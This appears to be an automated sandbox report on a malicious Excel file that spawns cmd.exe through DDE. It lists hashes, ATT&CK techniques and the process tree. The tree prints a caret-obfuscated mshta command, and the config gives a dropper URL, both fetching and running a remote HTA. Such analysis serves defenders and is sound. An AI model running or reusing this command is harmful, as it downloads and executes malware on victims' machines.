a2f0339900b1bf244f4c9c36e619b0317fde876cd6597b51a37ae9d3bd544f3d

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 21:43

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General

Target

a2f0339900b1bf244f4c9c36e619b0317fde876cd6597b51a37ae9d3bd544f3d.xls
Size

128KB
MD5

72d08e1daa18c52c17a0f5509f26b851
SHA1

28936bbd4c5043b3e271c5ef218256158e5f46d3
SHA256

a2f0339900b1bf244f4c9c36e619b0317fde876cd6597b51a37ae9d3bd544f3d
SHA512

09e5e26e588624e95805ea06efb1ac85295efab2ebea4ecd21ef1a8b9df1ad8b67f1c78389fa543dfcc87585e53467a0db19a9211b398a7890638dc50087f328
SSDEEP

3072:Wuk3hbdlylKsgqopeJBWhZFGkE+cL2NdAxEvN8B/W6X1yxYovrepMUdQ6gSz4i:Fk3hbdlylKsgqopeJBWhZFVE+W2NdAmv

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2136	1868	cmd.exe	30

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2628	mshta.exe
7	2628	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1868	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1868	EXCEL.EXE
1868	EXCEL.EXE
1868	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1868 wrote to memory of 2136	1868	EXCEL.EXE	31
PID 1868 wrote to memory of 2136	1868	EXCEL.EXE	31
PID 1868 wrote to memory of 2136	1868	EXCEL.EXE	31
PID 1868 wrote to memory of 2136	1868	EXCEL.EXE	31
PID 2136 wrote to memory of 2628	2136	cmd.exe	33
PID 2136 wrote to memory of 2628	2136	cmd.exe	33
PID 2136 wrote to memory of 2628	2136	cmd.exe	33
PID 2136 wrote to memory of 2628	2136	cmd.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a2f0339900b1bf244f4c9c36e619b0317fde876cd6597b51a37ae9d3bd544f3d.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1868
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1868-1-0x00000000724ED000-0x00000000724F8000-memory.dmp

Filesize
44KB

Download
memory/1868-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1868-2-0x00000000724ED000-0x00000000724F8000-memory.dmp

Filesize
44KB

Download